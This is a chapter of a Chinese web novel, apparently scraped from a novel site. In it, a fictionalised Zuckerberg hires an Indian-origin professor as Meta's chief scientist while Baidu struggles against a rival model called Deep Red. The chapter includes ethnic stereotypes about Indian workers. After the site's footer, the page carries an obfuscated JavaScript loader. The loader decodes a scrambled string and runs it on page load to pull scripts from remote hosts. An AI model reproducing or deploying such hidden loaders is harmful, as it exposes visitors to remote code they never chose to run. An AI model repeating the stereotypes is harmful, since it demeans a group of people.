第348章 饥不择食的META
华国古代有句谚语,叫“山中方七日,世上几千年”,尼兰詹现在的感觉和这句谚语差不多。
他简单洗漱一下就被带往了META在纽约的总部,扎克伯格用虔诚的表情看着他:“巴拉苏布拉马尼安教授,我知道你在人工智能领域有着超出寻常的造诣。”
尼兰詹心想,自己这么难念的姓氏,扎克伯格能念得如此清晰,也真难为他了。
紧接着,扎克伯格的话就开始出乎他意料了。
我在人工智能领域有着超出寻常的造诣?尼兰詹在思考这句话,是不是又有什么坑,不过转念一想扎克伯格这样的大佬,世界顶级富豪,不至于要坑他啊。
而且自己身为石溪分校人工智能领域的教授,说超出寻常的造诣,倒也不是不行。
“我确实对人工智能颇有自己的一番见解。”尼兰詹微笑着说道,过去一年多被监狱折磨的日子终于过去,他要迎来新生,自信的笑容、从容的坐姿、睿智的大脑终于在他大脑内又占据了上风。
扎克伯格听完后笑得更开心了,“不愧是伦道夫的教授,我就知道你肯定不一般!”
扎克伯格把尼兰詹从监狱里捞出来,倒也没费多大功夫,毕竟他可是驴党长期铁杆合作伙伴,给驴党不知道捐了多少钱。
尼兰詹又不是真的犯事了,联邦调查局调查来调查去也没找到尼兰詹和阿波罗登月的关系,没有找到有决定意义的证据。
之前一直关着他,不过是因为把他当背锅的,一名没有任何背景的印度裔教授,来承担华国21世纪率先登月的黑锅,好像还挺合适。
但当扎克伯格出手时,尼兰詹又变成了微不足道的小人物,他轻而易举就把对方给捞了出来。
而且对方能被关一年多,说明应该确实有两把刷子。
“巴拉苏布拉马尼安教授,你对大语言模型怎么看?”扎克伯格问道。
尼兰詹大脑开始高速运转起来,毕竟这可是关乎到自己的安危啊!得表现出价值,他才能在外面一直被保释,甚至是无罪释放。
他内心苦笑了一声:这叫什么事,自己明明就无罪,现在居然还要表现出价值才能无罪,这国怎?
“我认为这是一个很有发展潜力的方向,我前几年在ACL会议上发表的论文《DeFormer:DecomposingPre-trainedTransformersforFasterQuestionAnswering》针对的就是Transformer-basedQA模型的痛点-全层输入宽自注意力导致计算慢和内存高予以解决,我提出DeFormer,一个分解的Transformer变体。
在较低层,DeFormer用问题宽和段落宽自注意力替换全自注意力,避免问题和段落序列的交叉计算。
这允许独立处理输入文本,实现段落表示的预计算,从而大幅减少运行时计算。
DeFormer结构与Transformer相似,可直接用预训练权重初始化,并在QA数据集上微调。
我们的实验显示,DeFormer版本的BERT和XLNet在QA任务上加速4.3倍以上,仅通过简单蒸馏损失损失1%准确率。”
尼兰詹说的是他2020年在ACL会议上发表的论文,是当时LLM优化领域的经典工作,当时LLM流行的模型叫BERT,这篇论文直接构建在预训练Transformer上,LLM的瓶颈,也就是计算成本,在下游任务中凸显,这篇则一定程度上提出了解决思路。
“包括我在2020年的另外一篇工作,其实和LLM的核心,也就是多层注意力有着类似的核心逻辑”
尼兰詹自然不是水货,他在人工智能领域确实浸淫多年,有不错的成果,手上有好几篇顶会文章,都和LLM有关。
那还是2020年,当时大模型还名不见经传呢,在人工智能领域属于边缘化的方向。
扎克伯格是花了很多冤枉钱,把脸书改名META错误估计了元宇宙的到来时间,但不代表他没脑子,单纯因为尼兰詹是林燃的教授,就找他来。
尼兰詹自己真有几把刷子,也是很重要的原因。
大模型里的关键工作,包括自注意力机制、多头注意力、位置编码这些,尼兰詹都有深入的研究,毕竟他研究的重要方向之一就是NLP。
扎克伯格欣喜过望,觉得自己找对人了。
“巴拉苏布拉马尼安教授,在训练LLM中,你是如何处理过拟合或者欠拟合问题呢?”
“大规模训练,预训练涉及在海量无标签数据上学习通用表示,我们可以通过掩码语言建模或下一句预测;另外微调在特定任务数据集上调整权重,实现迁移学习。
针对过拟合,我认为使用正则化和dropout,比如说在BERT变体中dropout率0.1,并应用早停机制;欠拟合时,增加模型深度或数据增强。
在之前的项目中,我通过梯度裁剪处理训练不稳定,在GLUE基准上将过拟合率从15%降至5%,这能帮助大模型训练在多任务适应中更高效。”尼兰詹成竹在胸。
问这个,对我而言不是小意思?
扎克伯格后续又问了一些关于参数高效微调、多模态模型主要挑战、幻觉成因及缓解策略等问题,尼兰詹对答如流。
扎克伯格听完之后,确定自己找对人了。
对方被关在监狱一年多时间,出来还能侃侃而谈,追上最新进度,一眼就是大模型领域的先驱人才。
再者,对方还教出了伦道夫·林这样的顶级天才,对方能搞深红,我们META在巴拉苏布拉马尼安教授的带领下,搞个深蓝出来不过分吧?
扎克伯格本来就保持笑容的脸庞笑得更开心了:“巴拉苏布拉马尼安教授,欢迎你加入META,未来将由你担任META的首席科学家,带领我们一路前行。”
他按了下桌上的按钮,META的工作人员走了进来,拿来了一份合同,扎克伯格递到尼兰詹面前:“巴拉苏布拉马尼安教授,恭喜你,你将成为亿万富翁。”
尼兰詹拿起来一看,惊呆了,年薪一亿美元。
这个数字都让他有点不敢签了。
扎克伯格能把他捞出来,那肯定也能把他再送进去。
一亿美元的年薪,自己要是做不出东西来,到时候不会被关到死吧?
“老板,这个数字是不是太多了一些?”尼兰詹小心翼翼道。
扎克伯格也震惊了,居然还有印度裔会主动嫌工资太高?META印度裔高管一大把,印度裔的科学家也不在少数,都只会和他说我有多少多少贡献,暗示能不能加薪。
尼兰詹还是他见过第一个,觉得工资太高的印度裔。
“不,巴拉苏布拉马尼安教授,你放心,这个价码一点都不高。
你刚从监狱里出来,还不清楚这个世界最近这一年发生了什么。
你要知道发生了什么,你就会知道,这个数字很合理。”
扎克伯格说完之后,尼兰詹又粗略看了一遍,然后在合同上签下自己的名字。
扎克伯格面带笑意,和他握手拍照留念。
第二天,META官方就发表了对外公告:
“公司将任命知名人工智能专家尼兰詹·巴拉苏布拉马尼安教授为公司首席科学家,负责领导人工智能大模型的研究工作。
这一任命正值生成式预训练Transformer模型横空出世,引发全球AI革命之际,Meta致力于加速开源AI创新,推动更安全、更高效的AI技术发展。
尼兰詹·巴拉苏布拉马尼安教授目前任职于纽约州立大学石溪分校计算机科学系,拥有超过15年的自然语言处理(NLP)和机器学习研究经验。
他的开创性工作包括开发DeFormer框架,用于优化预训练Transformer模型在问题解答任务中的效率,以及探索事件表示和注意力机制在用户人格预测中的应用,这些成就已发表于顶级会议如ACL和AAAI,并被广泛引用。
教授的专长将助力Meta在Llama系列大模型上的持续创新,确保AI技术在社交、元宇宙和全球连接中的应用更具包容性和可靠性。
作为首席科学家,巴拉苏布拉马尼安教授将领导MetaAI研究团队,聚焦于多模态模型优化、幻觉缓解和可持续计算等关键领域。他的加入标志着Meta在AI领域的战略投资进一步加强,旨在为全球用户提供更智能、更安全的数字体验。
关于Meta:Meta构建技术,帮助人们连接、发现社区并发展业务。通过我们的应用和服务,我们致力于让世界更紧密相连。”
扎克伯格随即发表脸书称:“在GPT模型开启AI新时代的当下,我们需要顶尖人才来引领开源AI的未来。
尼兰詹教授的深厚学术背景和实际创新能力,将帮助我们构建更高效、更负责任的大模型,推动人类与技术的和谐共进,我已经迫不及待想要和尼兰詹·巴拉苏布拉马尼安教授合作了!”
市场上更加关注的是尼兰詹另外一个身份,伦道夫·林的博士导师。
2022年11月,Meta才宣布将裁员11000名员工,2023年的3月中旬,Meta公司又宣布将再裁员1万人。
接连裁员,聚焦AI,降本增效,META对外放出的消息非常明确。
当天美股,META股价大涨超7个百分点,一家市值1800亿美元的公司,光是招募尼兰詹释放的信号就让他们的市值增加了100亿美元。
尼兰詹一百年的工资都有了。
尼兰詹回到家中才知道自己被关在监狱的这段时间,外界发生了什么。
“什么大模型成显学了,现在的科技巨头们动辄必提大模型?”
“GPT也太强了,我之前就觉得LLM这条路大有可为,果然如此。”
“我怎么感觉深红比GPT还要更好用啊?”
深红只开放了华国手机号注册,没有开放外网注册,采取的是和GPT类似的策略,只对特定区域开放。
因此国外用不了深红,但Youtube和TikTok上到处都是深红的使用视频。
毕竟大把在华国的外国人和在国外留学的华国人,都会把这些分享到外网上。
简中互联网和外网确实存在一定程度上的隔离,但这种隔离非常薄,薄薄的一层纸。
外网的ai爱好者们,看着深红都要流口水了,这玩意免费,还比GPT看上去更好用。
GPT-4可是要收费的。
尼兰詹内心感受到了巨大的压力,GPT-4,他都不确定自己能不能搞定,更何况深红。
他也不敢打电话给林燃,脸皮允许他这样做,但被联邦调查局带走的经历,让他不敢这么做。
万一后面又给你安上个莫须有的罪名,那不完蛋了?
现在自己可是亿万美元年薪的顶级打工人,印度裔的天选之子,印度本土报纸都称呼他为深红之父,认为深红是林燃从尼兰詹手里偷走的技术。
印度媒体就是这么自信。
甚至有印度报纸呼吁尼兰詹应该把技术传授给印度企业,华国有深红,印度也得有白象!
这是因为印度和华国之间的竞争,被称为龙象之争。
尼兰詹开始打电话呼朋唤友,把自己印度裔的朋友们都给招来META,象群才能发挥最大的威力!
一头象在丛林里,谈不上有什么威慑力,但一群象在丛林里,哪怕百兽之王也得退避三舍。
本身他作为META首席科学家,除了待遇外,也有招人的权利。
META的LLM组将集合象群的力量,尼兰詹心想,还是算了,还是得招点做事的华裔进来,我再想想,我有哪些交好的华裔教授,让他们推荐点学生来干活,得是精锐中的精锐才行,只要水木和燕大这两所大学出来的,不对,SJTU也行。
尼兰詹恢复理智之后就知道,一个组如果全是印度裔,那就会面临一个问题,大家都只有战略上的思考,而缺乏战术上的执行,这样显然是不行的。
尼兰詹拖家带口搬去了加州,至于保释期内不能离开纽约也被扎克伯格用钞能力改成了保释期内不能离开阿美莉卡。
作为整个META最受关注,拥有最多资源的部门,扎克伯格基本上每天都会去AI实验室视察,他发现,这里的印度裔和华裔越来越多,白人越来越少。
一个月后,整个人工智能研发的办公室里,两百来号人,只有印度裔和华裔,没有白人了。
“很好,我们走在了正确的道路上。”扎克伯格心想。
如果说扎克伯格发现了新大陆,找到了尼兰詹担任首席科学家,高山流水觅知音,成功找到了自己的钟子期的话,那么某度就陷入了空前的低潮。
深红的横空出世导致文心一言还没诞生就沦为了路边一条。
文心一言只开了新闻发布会,只是开放了申请,某度根据申请开放内测名额。
结果文心一言和深红的对比视频被b站up主发在b站上,对比过于强烈,二者就像博士生和小学生一样,某度实在是没绷住,第二天就全面关闭了内测。
发布了吗?发布了,有用户能用到吗?没有,主打一个如发。
内测变成只内不测。
某度面临着空前危机,甚至某度内部都不知道该怎么办好。
因为他们原定计划是要收费的,和GPT一样,文心一言得收费,五十一个月收费,第一个人工智能大模型,第一个收费,第一个实现盈亏平衡,然后扩大投入,提高使用体验,打死竞争对手,一统人工智能大模型简中互联网市场。
某度做的梦是这样,形成一个正循环,不断滚雪球。
结果在第一步就被卡死了。
你这小学生模型还收费?
深红推出四天后,用户数就突破了一千万,深红的用户数破千万庆祝微博下面,点赞数最高的评论是一张图,左边是文心一言右边是深红,然后下面是两个数字:
“10000000:0”
意思是深红已经有一千万的用户,而文心一言只有0,后者还开了声势浩大的发布会,而前者只有一个八秒钟的短视频。
这样的对比是如此明显,明显到这个数字本身带来的震撼效果在网民们内心给某度的棺木敲下了第一颗钉子。
某度内部的压力太大了,大到爆炸。
整个某度大楼从文心一言发布之后的第二天开始,就处于一个低气压的状态,大家都不敢高声说话,生怕触怒了大老板,到时候直接把你给裁了。
某度大楼的会议室里,各路高管齐聚一堂,除了高管外,某度内部人工智能领域的专家们也都在。
“Boss,腾讯这不是打文心一言,这是在打我们的脸啊!这是赤裸裸的挑衅行为!”秘书说道,“我认为这次必须要有人负起责任来,明显有人对技术研判不够到位,有人错估了形势,在文心一言还没有成熟前为了抢功就想着抢占市场。”
一位分管行政工作的高管,矛头直指CTO王海峰。
王海峰诚恳道歉:“我确实错估了形势,没有想到腾讯的进展会这么快,两个月时间就能够追上甚至是反超OpenAI的进度.”
没等王海峰说完,Robin就打断道:“诶,海峰,好了,我想这个世界上事先应该没人能想到。
这件事就和林燃教授一年多登月一样,他们完成的是不可能完成的奇迹,我不会因为这个原因就责怪下属,这属于是非战之罪。”
Robin这话一出,大家知道,这次的会议不是找问题,搞斗争的会,说的更直白一点,不是找人来背锅的,而是希望能解决问题的。
“海峰,我们多久能够追上?”Robin问道。
王海峰坦诚道:“我预计7月能够追上GPT-3百分之八十的效果,12月能够达到GPT-3的效果,明年7月预计能够达到深红的效果。”
王海峰停顿片刻后说道:“深红最坏的一点在于,它不开源,我们没办法借鉴。”
不是抄袭,是借鉴!
“GPT不开源,那是从GPT-3开始不开源的,GPT-1和GPT-2那可都是开源的。
开源意味着我们好歹知道它是怎么做的,它用到了哪些技术,哪怕具体的技术细节、工程实现方法不知道,我们也能靠时间慢慢磨出来。
但深红不一样,深红完全就是黑箱,甚至是不是和GPT是同一条技术路线,我们也不知道。
深红为什么在中文语境下的表现会出色这么多,对中文文本的处理堪称卓越,他们用到的是已有技术还是林燃教授独创技术,我们同样不知道。
我认为我们现在必须要做一件事。”
“什么事?”Robin问道。
“挖人,我们必须从深红那挖人来,搞清楚他们到底是怎么做的,情报越多,我们追赶的速度也就越快,哪怕只是知道一个方向,也比我们现在这样一条路摸黑,不知道方向的瞎走要强得多。
而且Robin,我们是大厂,大厂最大的优势就在于资源和现金。
我们需要搞清楚深红是怎么做的,我们需要同时从OpenAI和深红挖人,然后在内部同时有两个组,分别按照GPT和深红的技术路线去推进。
涉及到资源调度,根据表现决定优先级。”
这对大厂来说属于是常规操作,是赤裸裸的阳谋。
小厂出的产品,我直接照着抄,反正你反抗不了,一些核心的工程问题在短时间内我没有办法解决,我又不能耽误抢占市场的时间,那我就从你那挖人。
“我知道,这肯定是办法,但问题是太快了,深红的进展太快了。”Robin愁眉苦脸,帅气绅士的气质全无,“和过去我们的竞争不一样,过去用户的增长是线性的,扩展到一定程度之后就会变慢。
我们作为后发者,对方增速减缓,我们增速飞快,是能追上的。
但大模型的增长速度,不是对数函数不是线性函数,它甚至是指数函数。
我们就算挖人成功,挖到了核心工程师,我们最快也要半年时间才能推出深红吧?”
王海峰内心苦笑,半年?半年那除非把林燃教授挖来,才有可能。
(本章完)
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();